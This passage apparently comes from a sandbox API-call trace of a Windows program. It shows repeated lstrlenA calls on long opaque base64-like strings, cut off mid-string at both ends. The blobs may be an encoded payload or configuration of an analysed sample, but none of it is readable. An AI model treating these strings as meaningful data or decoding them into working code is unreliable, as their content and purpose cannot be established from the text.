YSvtz+ZTFd/KsY0QTwCkMXz8I4rrVYQwplzQUBNSI1mhORqmefty4HpArQnp8yTJw7TnODULcGIYRrl0WEfM22foXv7IDBdVvosGMuabt2IQYRx/sjqA/unJi7Q86VSInEU8Ew548/Gq8awz5QGqoAyjQyMNHMpAAnrKTj+WTuKLOpjHjRcYUEoO6FfJX9+hR4cCh9nDqBn5l3CaD1ntz3PPO5SctrHlOw3433I+lYr+iHD8RzYK0Rd90Uq5XQ8losn/T8pGZKNS0I/sRvQrjEuVWnrjng7s/oMZHzthdWwczeZYv1dh0JGnvGXTvhFNI2xjqjGbNsdG1lnQp7c7JDA4enNFbtEOpKOQVXn67yq2sBLgYgy8JPBKhWcJyfV7+qmV6/ndgN2rH4VKZq3wnWA5TR5CeOkk635kUgJOQh2spzLV5cEJDaJ29L8ip4sIhGc/QNXj3ngjdcHYSwoFjzlN7I0LJkTUiAMqsBq3ymMPoa6rfEknB/aM215QFgHTAKZfeSE+rBTrFyb2Cr6qVcycOec9j91L/jQNXZT9esjhASiArQ+BzNHyY40CJMA4jgkJOxC+dFwzyClV2YM0lMSwODvSgg4fSmwGIA9rQjhalJ9kEfz1rcJZk+OrXz3Vw6UO/b94HF41S7vaIASv0Yars5MrvEsG5Ytc779Q6KNFMx7ZW44j3VBGKwny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0128.365] lstrlenA (lpString="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") returned 5792 [0128.365] lstrlenA (lpString="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") returned 5792 [0128.365] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt27RyX2fZTVqhxd1fkRh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUJ/+SN0smfGv03bTcrjcA+QPBPQdz0Ga/5kKcBQBcJvqiz1kGYVxNSJgV3ZYz+ycuV4yfhg/F8OJFlaTRfotvPyVoBT6L4EvW6wLm56I8J1ewra46LNmiyIp1LLtFvVNfCmoZz7l6Mcz0UboWgtKxq3zFCRnmh5BWYOg1Gr2CjeV2GGXHPnLiafXptLDRbp7K+f7c2FXdj1T0euSXFvz8jKRlW6eiuuR1EYZuJdnHDIAlZKhTotgoFLGrsr5yCGg6J5+KaNeCEQ18DNCargANkJuqdiGSoVQuv3lyKi3mUjTYins9w6xLz2HvYczyRRnQxdRjnD1T94fe2IYRq4vDVsjDDMklXza/m5c2HtwVzc+JR39oZ9QD9O4UyGn/9434wg/tHbejo/TsiP9/TxcMLDcIY8C0GSvTm4i/67LRtotkktBeWJXKwSJPQAcNCtbiY37If9/tFNUgJ7xln/0EeguBl+mG6Cw8m8ZyvECKyF+N1IlW0hBjQfeoUHRQUqZCfNLuCG8wSg0uLyuz3aW/37wXtHnlMq0vWIIOaPuqeNDXs82bvKXpoKRmVrolZxBnmOthOcn4U/tEX8qh4Ku5r2GvOxI8E9B1KAkJ6cURKbp9MqxybzBONVQSIr/TflDhuVFT1lrC+dZqvg94+lhHHDv+8Zkv/vBmuupHXbAps1SRttGfVTHB/W+fppkh0k9QX6+XC/2EVI8IO3McPkydOccTE0DxzvA3s9hk7UuLO2AJUpaV6vtxLhkFm8qgOur8sdlNzYcENBFf5sPJou+My4kO1YdJI1wSwBE+WjWmHKSRVmPk9gIdYNj+PdcXAEua+VJq/oWFscUn7mat2gWMj1x/N3ssVLZ6xtOz56lw8ENqizym+rJ36TUjBDNHyKoivVj2757CCpY8NXHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZLx8nW2fmvF4h9zs1HQ1nNlFP3L3dKoFYA4zMMv7hg4XFocI7NP3+fE697T/S5igTjvHF1wzYdL6YJch6feVeY88Yti33n/meLgq34H/Jut/HgZe+VWN/PwO11Jz0YUmkVp9AeAxZQXGE+OIMOY0r6TDp/N1Vcq305LXXlSQayDS2gSqqtFDpofSeO8TDUL//YK9yGT7zkFNKWUKuT9sess5SxvrfzoKtOqk6m4Y3aH1qmjDVGPLPjXzYW6XBytXgCfWxI+kyrHZDOx7e/+9KtPMG4p2L2yUmEWBMxqpZVOIuwAlSU08m2PRQ62/ZA1NKF5cKIb93yHCqKRLFtJC5liMy3lzeiTIXmIBiKzTLITNEhL+YVk2lxNVwJHLwT8QAV9ILxzt0IAL8vGkoZ24e+F22DG4QyPSeHfVSBVlO/ElQ0yZwBluOwDRKFOLZy49gktPmIuAS/JyQ5wIgNxPQqDLSmlhKJHVSo9Ugj5pnaZZrr1Wn4tJRskxHp246TrvbMMAWlKRQw+kK+0QcGMMytqfXRbZe4HRKyij9M2UrgDEqON8/KRoeUi8Dwbm7MBZOAwOayoHafCXrUnkoai3bfNJ31v5W33+lfNXGYh87PpqQ6iztsMnH3iVcl3Asp/4VA8d18u+y8enTBtp2PhYVTHgBXgcHe+ekrTbBU1qbzH3ZxAtm8gidioiqRfNYnf3m84y+S0WdG0r9JMK6GdrfPfNpKGNFvUVSyZvu0Zo4NOXLX1QS3ddo5b6apBb/zmK7vnKpTd6pYtC4QrwPM7SGQTcqLky7+qVo2wSjRM6wz3h6ZrvJAHo1QAXBiUEda+OgL2HfIGrNA45iVfJsoeGDdDYzmmJb9cYzlqCVonC/eprhqeCEnfde/HGgfZ5n6CCZWiEUrXuIrbaxmE3c6ZbEObKD7Wbwz8AlM7p3XNUKICWYt8kypvG1bnZRS0hKmpfIv+ghDwg3PyYrVKr2DmGk+Wjt9tOk+ULdSrkpXJTZTUTRODsxBSL6fy1PgL22xoH8b/b5503Wny8hV2I3eclxqEgh30gA0XUMeEnq6Dh/EJMN6E6Nva6u/jc/djVAs44U6OQ2STos/Nw7NfyhtuX84V4+RjfbOPGPhaTh6mia8m9ZVIyacY+gW/c8FCEi82+5+/kX/VAbhMxak0tLFEolICkZfOyIVHLY7UK/R2lpAODIBoR990pcyeBAj+UI6tdop0kGvI1NDl4QphhZW37C8ar3rV5FWqR7vVWxa25zPi7cfg/CdM/p/AZKqVB13cDR+TmfswJNq6LTmulSTqMl4QTwg2UWKRFlK0vdonIJu7ib2+zagAXTTFRn6M6Yj6HlDC3RF3y70Dj+IpePspwU6EX8KovH4rUfbwg9jMGmZu/43LG5ACzKDMW8lQ3bdcEzL4Fmy5tSYi9RlQS01h9sXHcJUougvsRAg4aByn4QXBsCA5YQt78BXZidfh2+4xMHbLMOCxl9LS4Y8yEzGqMJM2LKUNE5oUeSmcdF7HHJN+r7BuRJYoiQTxc1t3MqOTjJ7OQCAReUOhAOd0YQvpLSFcVFHgxfgHX2HmiUuvnZjXjUPxrOLDwCWpIyd7ZaVAbQw0rKPGcuFYGtSfv7ihvQZmzlBm4mdDOaFOErQ8cDHvb32QZ2Z3hNQuF0NnvoGNkpoiAIknxYXiwza5DmR0NUwD2j73gXKcqTnhiONdAZtK8bylX1PJk9B7fnnjsoQRa5WglIHBfyBwEw